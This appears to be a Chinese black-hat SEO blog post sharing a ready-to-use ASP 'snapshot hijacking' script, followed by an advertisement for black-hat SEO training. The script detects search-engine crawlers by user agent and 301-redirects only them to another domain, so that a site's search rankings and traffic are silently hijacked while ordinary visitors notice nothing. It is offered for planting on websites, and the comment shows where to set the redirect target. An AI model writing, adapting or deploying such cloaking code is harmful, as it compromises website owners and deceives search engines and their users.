首页/快照劫持/正文
301 快照劫持(asp 版)

 2021年12月01日  阅读 516  评论 0

摘要:<%  Function GetLocationURL()  Dim Url Dim ScriptName,QueryString  ScriptName = Request.ServerVariables("SCRIPT_NAME")  QueryString = Request.ServerVariables("QUERY_STRING&
<% 
Function GetLocationURL() 
Dim Url
Dim ScriptName,QueryString 
ScriptName = Request.ServerVariables("SCRIPT_NAME") 
QueryString = Request.ServerVariables("QUERY_STRING") 
if ScriptName = "/index.asp" then
if QueryString = "" then
GetLocationURL = "/"
else
GetLocationURL = ScriptName&"?"&QueryString
end if
else
if QueryString = "" then
GetLocationURL = ScriptName
else
GetLocationURL = ScriptName&"?"&QueryString
end if
end if
End Function
If isspider() then
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://www.xxx.com"& GetLocationURL() '在这里修改要跳转到的网
页
Response.End
End if
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")
isspider = false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
%>


版权声明:本文为 “黑帽百科” 原创文章,转载请附上原文出处链接及本声明;

原文链接:https://www.heimao.wiki/post/56156.html

标签:

发表评论:

关于我们
黑帽百科:黑帽seo百科,黑帽seo技术学习培训分享,黑帽SEO快排程序分享,定制。 SEO快速排名收录学习 老师qq:25496334
扫码关注
联系方式
全国服务热线:
地址:新加坡 - 市中心(Singapore City)乌节路
Email:hack66666@foxamil.com
邮编:
Copyright Your 黑帽百科.|网站地图.Some Rights Reserved.